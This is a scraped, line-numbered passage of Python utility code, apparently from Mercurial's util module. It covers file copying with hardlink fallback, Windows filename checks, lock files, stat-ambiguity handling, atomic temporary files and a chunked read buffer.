1792 | 'reiserfs', |
|
|||
1793 | 'tmpfs', |
|
|||
1794 | 'ufs', |
|
|||
1795 | 'xfs', |
|
|||
1796 | 'zfs', |
|
|||
1797 | } |
|
|||
1798 |
|
||||
1799 | def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): |
|
|||
1800 | '''copy a file, preserving mode and optionally other stat info like |
|
|||
1801 | atime/mtime |
|
|||
1802 |
|
||||
1803 | checkambig argument is used with filestat, and is useful only if |
|
|||
1804 | destination file is guarded by any lock (e.g. repo.lock or |
|
|||
1805 | repo.wlock). |
|
|||
1806 |
|
||||
1807 | copystat and checkambig should be exclusive. |
|
|||
1808 | ''' |
|
|||
1809 | assert not (copystat and checkambig) |
|
|||
1810 | oldstat = None |
|
|||
1811 | if os.path.lexists(dest): |
|
|||
1812 | if checkambig: |
|
|||
1813 | oldstat = checkambig and filestat.frompath(dest) |
|
|||
1814 | unlink(dest) |
|
|||
1815 | if hardlink: |
|
|||
1816 | # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks |
|
|||
1817 | # unless we are confident that dest is on a whitelisted filesystem. |
|
|||
1818 | try: |
|
|||
1819 | fstype = getfstype(os.path.dirname(dest)) |
|
|||
1820 | except OSError: |
|
|||
1821 | fstype = None |
|
|||
1822 | if fstype not in _hardlinkfswhitelist: |
|
|||
1823 | hardlink = False |
|
|||
1824 | if hardlink: |
|
|||
1825 | try: |
|
|||
1826 | oslink(src, dest) |
|
|||
1827 | return |
|
|||
1828 | except (IOError, OSError): |
|
|||
1829 | pass # fall back to normal copy |
|
|||
1830 | if os.path.islink(src): |
|
|||
1831 | os.symlink(os.readlink(src), dest) |
|
|||
1832 | # copytime is ignored for symlinks, but in general copytime isn't needed |
|
|||
1833 | # for them anyway |
|
|||
1834 | else: |
|
|||
1835 | try: |
|
|||
1836 | shutil.copyfile(src, dest) |
|
|||
1837 | if copystat: |
|
|||
1838 | # copystat also copies mode |
|
|||
1839 | shutil.copystat(src, dest) |
|
|||
1840 | else: |
|
|||
1841 | shutil.copymode(src, dest) |
|
|||
1842 | if oldstat and oldstat.stat: |
|
|||
1843 | newstat = filestat.frompath(dest) |
|
|||
1844 | if newstat.isambig(oldstat): |
|
|||
1845 | # stat of copied file is ambiguous to original one |
|
|||
1846 | advanced = ( |
|
|||
1847 | oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff |
|
|||
1848 | os.utime(dest, (advanced, advanced)) |
|
|||
1849 | except shutil.Error as inst: |
|
|||
1850 | raise Abort(str(inst)) |
|
|||
1851 |
|
||||
1852 | def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None): |
|
|||
1853 | """Copy a directory tree using hardlinks if possible.""" |
|
|||
1854 | num = 0 |
|
|||
1855 |
|
||||
1856 | gettopic = lambda: hardlink and _('linking') or _('copying') |
|
|||
1857 |
|
||||
1858 | if os.path.isdir(src): |
|
|||
1859 | if hardlink is None: |
|
|||
1860 | hardlink = (os.stat(src).st_dev == |
|
|||
1861 | os.stat(os.path.dirname(dst)).st_dev) |
|
|||
1862 | topic = gettopic() |
|
|||
1863 | os.mkdir(dst) |
|
|||
1864 | for name, kind in listdir(src): |
|
|||
1865 | srcname = os.path.join(src, name) |
|
|||
1866 | dstname = os.path.join(dst, name) |
|
|||
1867 | def nprog(t, pos): |
|
|||
1868 | if pos is not None: |
|
|||
1869 | return progress(t, pos + num) |
|
|||
1870 | hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog) |
|
|||
1871 | num += n |
|
|||
1872 | else: |
|
|||
1873 | if hardlink is None: |
|
|||
1874 | hardlink = (os.stat(os.path.dirname(src)).st_dev == |
|
|||
1875 | os.stat(os.path.dirname(dst)).st_dev) |
|
|||
1876 | topic = gettopic() |
|
|||
1877 |
|
||||
1878 | if hardlink: |
|
|||
1879 | try: |
|
|||
1880 | oslink(src, dst) |
|
|||
1881 | except (IOError, OSError): |
|
|||
1882 | hardlink = False |
|
|||
1883 | shutil.copy(src, dst) |
|
|||
1884 | else: |
|
|||
1885 | shutil.copy(src, dst) |
|
|||
1886 | num += 1 |
|
|||
1887 | progress(topic, num) |
|
|||
1888 | progress(topic, None) |
|
|||
1889 |
|
||||
1890 | return hardlink, num |
|
|||
1891 |
|
||||
1892 | _winreservednames = { |
|
|||
1893 | 'con', 'prn', 'aux', 'nul', |
|
|||
1894 | 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9', |
|
|||
1895 | 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9', |
|
|||
1896 | } |
|
|||
1897 | _winreservedchars = ':*?"<>|' |
|
|||
1898 | def checkwinfilename(path): |
|
|||
1899 | r'''Check that the base-relative path is a valid filename on Windows. |
|
|||
1900 | Returns None if the path is ok, or a UI string describing the problem. |
|
|||
1901 |
|
||||
1902 | >>> checkwinfilename(b"just/a/normal/path") |
|
|||
1903 | >>> checkwinfilename(b"foo/bar/con.xml") |
|
|||
1904 | "filename contains 'con', which is reserved on Windows" |
|
|||
1905 | >>> checkwinfilename(b"foo/con.xml/bar") |
|
|||
1906 | "filename contains 'con', which is reserved on Windows" |
|
|||
1907 | >>> checkwinfilename(b"foo/bar/xml.con") |
|
|||
1908 | >>> checkwinfilename(b"foo/bar/AUX/bla.txt") |
|
|||
1909 | "filename contains 'AUX', which is reserved on Windows" |
|
|||
1910 | >>> checkwinfilename(b"foo/bar/bla:.txt") |
|
|||
1911 | "filename contains ':', which is reserved on Windows" |
|
|||
1912 | >>> checkwinfilename(b"foo/bar/b\07la.txt") |
|
|||
1913 | "filename contains '\\x07', which is invalid on Windows" |
|
|||
1914 | >>> checkwinfilename(b"foo/bar/bla ") |
|
|||
1915 | "filename ends with ' ', which is not allowed on Windows" |
|
|||
1916 | >>> checkwinfilename(b"../bar") |
|
|||
1917 | >>> checkwinfilename(b"foo\\") |
|
|||
1918 | "filename ends with '\\', which is invalid on Windows" |
|
|||
1919 | >>> checkwinfilename(b"foo\\/bar") |
|
|||
1920 | "directory name ends with '\\', which is invalid on Windows" |
|
|||
1921 | ''' |
|
|||
1922 | if path.endswith('\\'): |
|
|||
1923 | return _("filename ends with '\\', which is invalid on Windows") |
|
|||
1924 | if '\\/' in path: |
|
|||
1925 | return _("directory name ends with '\\', which is invalid on Windows") |
|
|||
1926 | for n in path.replace('\\', '/').split('/'): |
|
|||
1927 | if not n: |
|
|||
1928 | continue |
|
|||
1929 | for c in _filenamebytestr(n): |
|
|||
1930 | if c in _winreservedchars: |
|
|||
1931 | return _("filename contains '%s', which is reserved " |
|
|||
1932 | "on Windows") % c |
|
|||
1933 | if ord(c) <= 31: |
|
|||
1934 | return _("filename contains '%s', which is invalid " |
|
|||
1935 | "on Windows") % escapestr(c) |
|
|||
1936 | base = n.split('.')[0] |
|
|||
1937 | if base and base.lower() in _winreservednames: |
|
|||
1938 | return _("filename contains '%s', which is reserved " |
|
|||
1939 | "on Windows") % base |
|
|||
1940 | t = n[-1:] |
|
|||
1941 | if t in '. ' and n not in '..': |
|
|||
1942 | return _("filename ends with '%s', which is not allowed " |
|
|||
1943 | "on Windows") % t |
|
|||
1944 |
|
||||
1945 | if pycompat.iswindows: |
|
|||
1946 | checkosfilename = checkwinfilename |
|
|||
1947 | timer = time.clock |
|
|||
1948 | else: |
|
|||
1949 | checkosfilename = platform.checkosfilename |
|
|||
1950 | timer = time.time |
|
|||
1951 |
|
||||
1952 | if safehasattr(time, "perf_counter"): |
|
|||
1953 | timer = time.perf_counter |
|
|||
1954 |
|
||||
1955 | def makelock(info, pathname): |
|
|||
1956 | """Create a lock file atomically if possible |
|
|||
1957 |
|
||||
1958 | This may leave a stale lock file if symlink isn't supported and signal |
|
|||
1959 | interrupt is enabled. |
|
|||
1960 | """ |
|
|||
1961 | try: |
|
|||
1962 | return os.symlink(info, pathname) |
|
|||
1963 | except OSError as why: |
|
|||
1964 | if why.errno == errno.EEXIST: |
|
|||
1965 | raise |
|
|||
1966 | except AttributeError: # no symlink in os |
|
|||
1967 | pass |
|
|||
1968 |
|
||||
1969 | flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0) |
|
|||
1970 | ld = os.open(pathname, flags) |
|
|||
1971 | os.write(ld, info) |
|
|||
1972 | os.close(ld) |
|
|||
1973 |
|
||||
1974 | def readlock(pathname): |
|
|||
1975 | try: |
|
|||
1976 | return os.readlink(pathname) |
|
|||
1977 | except OSError as why: |
|
|||
1978 | if why.errno not in (errno.EINVAL, errno.ENOSYS): |
|
|||
1979 | raise |
|
|||
1980 | except AttributeError: # no symlink in os |
|
|||
1981 | pass |
|
|||
1982 | fp = posixfile(pathname, 'rb') |
|
|||
1983 | r = fp.read() |
|
|||
1984 | fp.close() |
|
|||
1985 | return r |
|
|||
1986 |
|
||||
1987 | def fstat(fp): |
|
|||
1988 | '''stat file object that may not have fileno method.''' |
|
|||
1989 | try: |
|
|||
1990 | return os.fstat(fp.fileno()) |
|
|||
1991 | except AttributeError: |
|
|||
1992 | return os.stat(fp.name) |
|
|||
1993 |
|
||||
1994 | # File system features |
|
|||
1995 |
|
||||
1996 | def fscasesensitive(path): |
|
|||
1997 | """ |
|
|||
1998 | Return true if the given path is on a case-sensitive filesystem |
|
|||
1999 |
|
||||
2000 | Requires a path (like /foo/.hg) ending with a foldable final |
|
|||
2001 | directory component. |
|
|||
2002 | """ |
|
|||
2003 | s1 = os.lstat(path) |
|
|||
2004 | d, b = os.path.split(path) |
|
|||
2005 | b2 = b.upper() |
|
|||
2006 | if b == b2: |
|
|||
2007 | b2 = b.lower() |
|
|||
2008 | if b == b2: |
|
|||
2009 | return True # no evidence against case sensitivity |
|
|||
2010 | p2 = os.path.join(d, b2) |
|
|||
2011 | try: |
|
|||
2012 | s2 = os.lstat(p2) |
|
|||
2013 | if s2 == s1: |
|
|||
2014 | return False |
|
|||
2015 | return True |
|
|||
2016 | except OSError: |
|
|||
2017 | return True |
|
|||
2018 |
|
||||
2019 | try: |
|
|||
2020 | import re2 |
|
|||
2021 | _re2 = None |
|
|||
2022 | except ImportError: |
|
|||
2023 | _re2 = False |
|
|||
2024 |
|
||||
2025 | class _re(object): |
|
|||
2026 | def _checkre2(self): |
|
|||
2027 | global _re2 |
|
|||
2028 | try: |
|
|||
2029 | # check if match works, see issue3964 |
|
|||
2030 | _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]')) |
|
|||
2031 | except ImportError: |
|
|||
2032 | _re2 = False |
|
|||
2033 |
|
||||
2034 | def compile(self, pat, flags=0): |
|
|||
2035 | '''Compile a regular expression, using re2 if possible |
|
|||
2036 |
|
||||
2037 | For best performance, use only re2-compatible regexp features. The |
|
|||
2038 | only flags from the re module that are re2-compatible are |
|
|||
2039 | IGNORECASE and MULTILINE.''' |
|
|||
2040 | if _re2 is None: |
|
|||
2041 | self._checkre2() |
|
|||
2042 | if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: |
|
|||
2043 | if flags & remod.IGNORECASE: |
|
|||
2044 | pat = '(?i)' + pat |
|
|||
2045 | if flags & remod.MULTILINE: |
|
|||
2046 | pat = '(?m)' + pat |
|
|||
2047 | try: |
|
|||
2048 | return re2.compile(pat) |
|
|||
2049 | except re2.error: |
|
|||
2050 | pass |
|
|||
2051 | return remod.compile(pat, flags) |
|
|||
2052 |
|
||||
2053 | @propertycache |
|
|||
2054 | def escape(self): |
|
|||
2055 | '''Return the version of escape corresponding to self.compile. |
|
|||
2056 |
|
||||
2057 | This is imperfect because whether re2 or re is used for a particular |
|
|||
2058 | function depends on the flags, etc, but it's the best we can do. |
|
|||
2059 | ''' |
|
|||
2060 | global _re2 |
|
|||
2061 | if _re2 is None: |
|
|||
2062 | self._checkre2() |
|
|||
2063 | if _re2: |
|
|||
2064 | return re2.escape |
|
|||
2065 | else: |
|
|||
2066 | return remod.escape |
|
|||
2067 |
|
||||
2068 | re = _re() |
|
|||
2069 |
|
||||
2070 | _fspathcache = {} |
|
|||
2071 | def fspath(name, root): |
|
|||
2072 | '''Get name in the case stored in the filesystem |
|
|||
2073 |
|
||||
2074 | The name should be relative to root, and be normcase-ed for efficiency. |
|
|||
2075 |
|
||||
2076 | Note that this function is unnecessary, and should not be |
|
|||
2077 | called, for case-sensitive filesystems (simply because it's expensive). |
|
|||
2078 |
|
||||
2079 | The root should be normcase-ed, too. |
|
|||
2080 | ''' |
|
|||
2081 | def _makefspathcacheentry(dir): |
|
|||
2082 | return dict((normcase(n), n) for n in os.listdir(dir)) |
|
|||
2083 |
|
||||
2084 | seps = pycompat.ossep |
|
|||
2085 | if pycompat.osaltsep: |
|
|||
2086 | seps = seps + pycompat.osaltsep |
|
|||
2087 | # Protect backslashes. This gets silly very quickly. |
|
|||
2088 | seps.replace('\\','\\\\') |
|
|||
2089 | pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) |
|
|||
2090 | dir = os.path.normpath(root) |
|
|||
2091 | result = [] |
|
|||
2092 | for part, sep in pattern.findall(name): |
|
|||
2093 | if sep: |
|
|||
2094 | result.append(sep) |
|
|||
2095 | continue |
|
|||
2096 |
|
||||
2097 | if dir not in _fspathcache: |
|
|||
2098 | _fspathcache[dir] = _makefspathcacheentry(dir) |
|
|||
2099 | contents = _fspathcache[dir] |
|
|||
2100 |
|
||||
2101 | found = contents.get(part) |
|
|||
2102 | if not found: |
|
|||
2103 | # retry "once per directory" per "dirstate.walk" which |
|
|||
2104 | # may take place for each patches of "hg qpush", for example |
|
|||
2105 | _fspathcache[dir] = contents = _makefspathcacheentry(dir) |
|
|||
2106 | found = contents.get(part) |
|
|||
2107 |
|
||||
2108 | result.append(found or part) |
|
|||
2109 | dir = os.path.join(dir, part) |
|
|||
2110 |
|
||||
2111 | return ''.join(result) |
|
|||
2112 |
|
||||
2113 | def checknlink(testfile): |
|
|||
2114 | '''check whether hardlink count reporting works properly''' |
|
|||
2115 |
|
||||
2116 | # testfile may be open, so we need a separate file for checking to |
|
|||
2117 | # work around issue2543 (or testfile may get lost on Samba shares) |
|
|||
2118 | f1, f2, fp = None, None, None |
|
|||
2119 | try: |
|
|||
2120 | fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile), |
|
|||
2121 | suffix='1~', dir=os.path.dirname(testfile)) |
|
|||
2122 | os.close(fd) |
|
|||
2123 | f2 = '%s2~' % f1[:-2] |
|
|||
2124 |
|
||||
2125 | oslink(f1, f2) |
|
|||
2126 | # nlinks() may behave differently for files on Windows shares if |
|
|||
2127 | # the file is open. |
|
|||
2128 | fp = posixfile(f2) |
|
|||
2129 | return nlinks(f2) > 1 |
|
|||
2130 | except OSError: |
|
|||
2131 | return False |
|
|||
2132 | finally: |
|
|||
2133 | if fp is not None: |
|
|||
2134 | fp.close() |
|
|||
2135 | for f in (f1, f2): |
|
|||
2136 | try: |
|
|||
2137 | if f is not None: |
|
|||
2138 | os.unlink(f) |
|
|||
2139 | except OSError: |
|
|||
2140 | pass |
|
|||
2141 |
|
||||
2142 | def endswithsep(path): |
|
|||
2143 | '''Check path ends with os.sep or os.altsep.''' |
|
|||
2144 | return (path.endswith(pycompat.ossep) |
|
|||
2145 | or pycompat.osaltsep and path.endswith(pycompat.osaltsep)) |
|
|||
2146 |
|
||||
2147 | def splitpath(path): |
|
|||
2148 | '''Split path by os.sep. |
|
|||
2149 | Note that this function does not use os.altsep because this is |
|
|||
2150 | an alternative of simple "xxx.split(os.sep)". |
|
|||
2151 | It is recommended to use os.path.normpath() before using this |
|
|||
2152 | function if need.''' |
|
|||
2153 | return path.split(pycompat.ossep) |
|
|||
2154 |
|
||||
2155 | def gui(): |
|
|||
2156 | '''Are we running in a GUI?''' |
|
|||
2157 | if pycompat.isdarwin: |
|
|||
2158 | if 'SSH_CONNECTION' in encoding.environ: |
|
|||
2159 | # handle SSH access to a box where the user is logged in |
|
|||
2160 | return False |
|
|||
2161 | elif getattr(osutil, 'isgui', None): |
|
|||
2162 | # check if a CoreGraphics session is available |
|
|||
2163 | return osutil.isgui() |
|
|||
2164 | else: |
|
|||
2165 | # pure build; use a safe default |
|
|||
2166 | return True |
|
|||
2167 | else: |
|
|||
2168 | return pycompat.iswindows or encoding.environ.get("DISPLAY") |
|
|||
2169 |
|
||||
2170 | def mktempcopy(name, emptyok=False, createmode=None): |
|
|||
2171 | """Create a temporary file with the same contents from name |
|
|||
2172 |
|
||||
2173 | The permission bits are copied from the original file. |
|
|||
2174 |
|
||||
2175 | If the temporary file is going to be truncated immediately, you |
|
|||
2176 | can use emptyok=True as an optimization. |
|
|||
2177 |
|
||||
2178 | Returns the name of the temporary file. |
|
|||
2179 | """ |
|
|||
2180 | d, fn = os.path.split(name) |
|
|||
2181 | fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d) |
|
|||
2182 | os.close(fd) |
|
|||
2183 | # Temporary files are created with mode 0600, which is usually not |
|
|||
2184 | # what we want. If the original file already exists, just copy |
|
|||
2185 | # its mode. Otherwise, manually obey umask. |
|
|||
2186 | copymode(name, temp, createmode) |
|
|||
2187 | if emptyok: |
|
|||
2188 | return temp |
|
|||
2189 | try: |
|
|||
2190 | try: |
|
|||
2191 | ifp = posixfile(name, "rb") |
|
|||
2192 | except IOError as inst: |
|
|||
2193 | if inst.errno == errno.ENOENT: |
|
|||
2194 | return temp |
|
|||
2195 | if not getattr(inst, 'filename', None): |
|
|||
2196 | inst.filename = name |
|
|||
2197 | raise |
|
|||
2198 | ofp = posixfile(temp, "wb") |
|
|||
2199 | for chunk in filechunkiter(ifp): |
|
|||
2200 | ofp.write(chunk) |
|
|||
2201 | ifp.close() |
|
|||
2202 | ofp.close() |
|
|||
2203 | except: # re-raises |
|
|||
2204 | try: |
|
|||
2205 | os.unlink(temp) |
|
|||
2206 | except OSError: |
|
|||
2207 | pass |
|
|||
2208 | raise |
|
|||
2209 | return temp |
|
|||
2210 |
|
||||
2211 | class filestat(object): |
|
|||
2212 | """help to exactly detect change of a file |
|
|||
2213 |
|
||||
2214 | 'stat' attribute is result of 'os.stat()' if specified 'path' |
|
|||
2215 | exists. Otherwise, it is None. This can avoid preparative |
|
|||
2216 | 'exists()' examination on client side of this class. |
|
|||
2217 | """ |
|
|||
2218 | def __init__(self, stat): |
|
|||
2219 | self.stat = stat |
|
|||
2220 |
|
||||
2221 | @classmethod |
|
|||
2222 | def frompath(cls, path): |
|
|||
2223 | try: |
|
|||
2224 | stat = os.stat(path) |
|
|||
2225 | except OSError as err: |
|
|||
2226 | if err.errno != errno.ENOENT: |
|
|||
2227 | raise |
|
|||
2228 | stat = None |
|
|||
2229 | return cls(stat) |
|
|||
2230 |
|
||||
2231 | @classmethod |
|
|||
2232 | def fromfp(cls, fp): |
|
|||
2233 | stat = os.fstat(fp.fileno()) |
|
|||
2234 | return cls(stat) |
|
|||
2235 |
|
||||
2236 | __hash__ = object.__hash__ |
|
|||
2237 |
|
||||
2238 | def __eq__(self, old): |
|
|||
2239 | try: |
|
|||
2240 | # if ambiguity between stat of new and old file is |
|
|||
2241 | # avoided, comparison of size, ctime and mtime is enough |
|
|||
2242 | # to exactly detect change of a file regardless of platform |
|
|||
2243 | return (self.stat.st_size == old.stat.st_size and |
|
|||
2244 | self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and |
|
|||
2245 | self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]) |
|
|||
2246 | except AttributeError: |
|
|||
2247 | pass |
|
|||
2248 | try: |
|
|||
2249 | return self.stat is None and old.stat is None |
|
|||
2250 | except AttributeError: |
|
|||
2251 | return False |
|
|||
2252 |
|
||||
2253 | def isambig(self, old): |
|
|||
2254 | """Examine whether new (= self) stat is ambiguous against old one |
|
|||
2255 |
|
||||
2256 | "S[N]" below means stat of a file at N-th change: |
|
|||
2257 |
|
||||
2258 | - S[n-1].ctime < S[n].ctime: can detect change of a file |
|
|||
2259 | - S[n-1].ctime == S[n].ctime |
|
|||
2260 | - S[n-1].ctime < S[n].mtime: means natural advancing (*1) |
|
|||
2261 | - S[n-1].ctime == S[n].mtime: is ambiguous (*2) |
|
|||
2262 | - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) |
|
|||
2263 | - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) |
|
|||
2264 |
|
||||
2265 | Case (*2) above means that a file was changed twice or more at |
|
|||
2266 | same time in sec (= S[n-1].ctime), and comparison of timestamp |
|
|||
2267 | is ambiguous. |
|
|||
2268 |
|
||||
2269 | Base idea to avoid such ambiguity is "advance mtime 1 sec, if |
|
|||
2270 | timestamp is ambiguous". |
|
|||
2271 |
|
||||
2272 | But advancing mtime only in case (*2) doesn't work as |
|
|||
2273 | expected, because naturally advanced S[n].mtime in case (*1) |
|
|||
2274 | might be equal to manually advanced S[n-1 or earlier].mtime. |
|
|||
2275 |
|
||||
2276 | Therefore, all "S[n-1].ctime == S[n].ctime" cases should be |
|
|||
2277 | treated as ambiguous regardless of mtime, to avoid overlooking |
|
|||
2278 | by confliction between such mtime. |
|
|||
2279 |
|
||||
2280 | Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != |
|
|||
2281 | S[n].mtime", even if size of a file isn't changed. |
|
|||
2282 | """ |
|
|||
2283 | try: |
|
|||
2284 | return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]) |
|
|||
2285 | except AttributeError: |
|
|||
2286 | return False |
|
|||
2287 |
|
||||
2288 | def avoidambig(self, path, old): |
|
|||
2289 | """Change file stat of specified path to avoid ambiguity |
|
|||
2290 |
|
||||
2291 | 'old' should be previous filestat of 'path'. |
|
|||
2292 |
|
||||
2293 | This skips avoiding ambiguity, if a process doesn't have |
|
|||
2294 | appropriate privileges for 'path'. This returns False in this |
|
|||
2295 | case. |
|
|||
2296 |
|
||||
2297 | Otherwise, this returns True, as "ambiguity is avoided". |
|
|||
2298 | """ |
|
|||
2299 | advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff |
|
|||
2300 | try: |
|
|||
2301 | os.utime(path, (advanced, advanced)) |
|
|||
2302 | except OSError as inst: |
|
|||
2303 | if inst.errno == errno.EPERM: |
|
|||
2304 | # utime() on the file created by another user causes EPERM, |
|
|||
2305 | # if a process doesn't have appropriate privileges |
|
|||
2306 | return False |
|
|||
2307 | raise |
|
|||
2308 | return True |
|
|||
2309 |
|
||||
2310 | def __ne__(self, other): |
|
|||
2311 | return not self == other |
|
|||
2312 |
|
||||
2313 | class atomictempfile(object): |
|
|||
2314 | '''writable file object that atomically updates a file |
|
|||
2315 |
|
||||
2316 | All writes will go to a temporary copy of the original file. Call |
|
|||
2317 | close() when you are done writing, and atomictempfile will rename |
|
|||
2318 | the temporary copy to the original name, making the changes |
|
|||
2319 | visible. If the object is destroyed without being closed, all your |
|
|||
2320 | writes are discarded. |
|
|||
2321 |
|
||||
2322 | checkambig argument of constructor is used with filestat, and is |
|
|||
2323 | useful only if target file is guarded by any lock (e.g. repo.lock |
|
|||
2324 | or repo.wlock). |
|
|||
2325 | ''' |
|
|||
2326 | def __init__(self, name, mode='w+b', createmode=None, checkambig=False): |
|
|||
2327 | self.__name = name # permanent name |
|
|||
2328 | self._tempname = mktempcopy(name, emptyok=('w' in mode), |
|
|||
2329 | createmode=createmode) |
|
|||
2330 | self._fp = posixfile(self._tempname, mode) |
|
|||
2331 | self._checkambig = checkambig |
|
|||
2332 |
|
||||
2333 | # delegated methods |
|
|||
2334 | self.read = self._fp.read |
|
|||
2335 | self.write = self._fp.write |
|
|||
2336 | self.seek = self._fp.seek |
|
|||
2337 | self.tell = self._fp.tell |
|
|||
2338 | self.fileno = self._fp.fileno |
|
|||
2339 |
|
||||
2340 | def close(self): |
|
|||
2341 | if not self._fp.closed: |
|
|||
2342 | self._fp.close() |
|
|||
2343 | filename = localpath(self.__name) |
|
|||
2344 | oldstat = self._checkambig and filestat.frompath(filename) |
|
|||
2345 | if oldstat and oldstat.stat: |
|
|||
2346 | rename(self._tempname, filename) |
|
|||
2347 | newstat = filestat.frompath(filename) |
|
|||
2348 | if newstat.isambig(oldstat): |
|
|||
2349 | # stat of changed file is ambiguous to original one |
|
|||
2350 | advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff |
|
|||
2351 | os.utime(filename, (advanced, advanced)) |
|
|||
2352 | else: |
|
|||
2353 | rename(self._tempname, filename) |
|
|||
2354 |
|
||||
2355 | def discard(self): |
|
|||
2356 | if not self._fp.closed: |
|
|||
2357 | try: |
|
|||
2358 | os.unlink(self._tempname) |
|
|||
2359 | except OSError: |
|
|||
2360 | pass |
|
|||
2361 | self._fp.close() |
|
|||
2362 |
|
||||
2363 | def __del__(self): |
|
|||
2364 | if safehasattr(self, '_fp'): # constructor actually did something |
|
|||
2365 | self.discard() |
|
|||
2366 |
|
||||
2367 | def __enter__(self): |
|
|||
2368 | return self |
|
|||
2369 |
|
||||
2370 | def __exit__(self, exctype, excvalue, traceback): |
|
|||
2371 | if exctype is not None: |
|
|||
2372 | self.discard() |
|
|||
2373 | else: |
|
|||
2374 | self.close() |
|
|||
2375 |
|
||||
2376 | def unlinkpath(f, ignoremissing=False): |
|
|||
2377 | """unlink and remove the directory if it is empty""" |
|
|||
2378 | if ignoremissing: |
|
|||
2379 | tryunlink(f) |
|
|||
2380 | else: |
|
|||
2381 | unlink(f) |
|
|||
2382 | # try removing directories that might now be empty |
|
|||
2383 | try: |
|
|||
2384 | removedirs(os.path.dirname(f)) |
|
|||
2385 | except OSError: |
|
|||
2386 | pass |
|
|||
2387 |
|
||||
2388 | def tryunlink(f): |
|
|||
2389 | """Attempt to remove a file, ignoring ENOENT errors.""" |
|
|||
2390 | try: |
|
|||
2391 | unlink(f) |
|
|||
2392 | except OSError as e: |
|
|||
2393 | if e.errno != errno.ENOENT: |
|
|||
2394 | raise |
|
|||
2395 |
|
||||
2396 | def makedirs(name, mode=None, notindexed=False): |
|
|||
2397 | """recursive directory creation with parent mode inheritance |
|
|||
2398 |
|
||||
2399 | Newly created directories are marked as "not to be indexed by |
|
|||
2400 | the content indexing service", if ``notindexed`` is specified |
|
|||
2401 | for "write" mode access. |
|
|||
2402 | """ |
|
|||
2403 | try: |
|
|||
2404 | makedir(name, notindexed) |
|
|||
2405 | except OSError as err: |
|
|||
2406 | if err.errno == errno.EEXIST: |
|
|||
2407 | return |
|
|||
2408 | if err.errno != errno.ENOENT or not name: |
|
|||
2409 | raise |
|
|||
2410 | parent = os.path.dirname(os.path.abspath(name)) |
|
|||
2411 | if parent == name: |
|
|||
2412 | raise |
|
|||
2413 | makedirs(parent, mode, notindexed) |
|
|||
2414 | try: |
|
|||
2415 | makedir(name, notindexed) |
|
|||
2416 | except OSError as err: |
|
|||
2417 | # Catch EEXIST to handle races |
|
|||
2418 | if err.errno == errno.EEXIST: |
|
|||
2419 | return |
|
|||
2420 | raise |
|
|||
2421 | if mode is not None: |
|
|||
2422 | os.chmod(name, mode) |
|
|||
2423 |
|
||||
2424 | def readfile(path): |
|
|||
2425 | with open(path, 'rb') as fp: |
|
|||
2426 | return fp.read() |
|
|||
2427 |
|
||||
2428 | def writefile(path, text): |
|
|||
2429 | with open(path, 'wb') as fp: |
|
|||
2430 | fp.write(text) |
|
|||
2431 |
|
||||
2432 | def appendfile(path, text): |
|
|||
2433 | with open(path, 'ab') as fp: |
|
|||
2434 | fp.write(text) |
|
|||
2435 |
|
||||
2436 | class chunkbuffer(object): |
|
|||
2437 | """Allow arbitrary sized chunks of data to be efficiently read from an |
|
|||
2438 | iterator over chunks of arbitrary size.""" |
|
|||
2439 |
|
||||
2440 | def __init__(self, in_iter): |
|
|||
2441 | """in_iter is the iterator that's iterating over the input chunks.""" |
|
|||
2442 | def splitbig(chunks): |
|
|||
2443 | for chunk in chunks: |
|
|||
2444 | if len(chunk) > 2**20: |
|
|||
2445 | pos = 0 |
|
|||
2446 | while pos < len(chunk): |
|
|||
2447 | end = pos + 2 ** 18 |
|
|||
2448 | yield chunk[pos:end] |
|
|||
2449 | pos = end |
|
|||
2450 | else: |
|
|||
2451 | yield chunk |
|
|||
2452 | self.iter = splitbig(in_iter) |
|
|||
2453 | self._queue = collections.deque() |
|
|||
2454 | self._chunkoffset = 0 |
|
|||
2455 |
|
||||
2456 | def read(self, l=None): |
|
|||
2457 | """Read L bytes of data from the iterator of chunks of data. |
|
|||
2458 | Returns less than L bytes if the iterator runs dry. |
|
|||
2459 |
|
||||
2460 | If size parameter is omitted, read everything""" |
|
|||
2461 | if l is None: |
|
|||
2462 | return ''.join(self.iter) |
|
|||
2463 |
|
||||
2464 | left = l |
|
|||
2465 | buf = [] |
|
|||
2466 | queue = self._queue |
|
|||
2467 | while left > 0: |
|
|||
2468 | # refill the queue |
|
|||
2469 | if not queue: |
|
|||
2470 | target = 2**18 |
|
|||
2471 | for chunk in self.iter: |
|
|||
2472 | queue.append(chunk) |
|
|||
2473 | target -= len(chunk) |
|
|||
2474 | if target <= 0: |
|
|||
2475 | break |
|
|||
2476 | if not queue: |
|
|||
2477 | break |
|
|||
2478 |
|
||||
2479 | # The easy way to do this would be to queue.popleft(), modify the |
|
|||
2480 | # chunk (if necessary), then queue.appendleft(). However, for cases |
|
|||
2481 | # where we read partial chunk content, this incurs 2 dequeue |
|
|||
2482 | # mutations and creates a new str for the remaining chunk in the |
|
|||
2483 | # queue. Our code below avoids this overhead. |
|
|||
2484 |
|
||||
2485 | chunk = queue[0] |
|
|||
2486 | chunkl = len(chunk) |
|
|||
2487 | offset = self._chunkoffset |
|
|||
2488 |
|
||||
2489 | # Use full chunk. |
|
|||
2490 | if offset == 0 and left >= chunkl: |
|
|||
2491 | left -= chunkl |
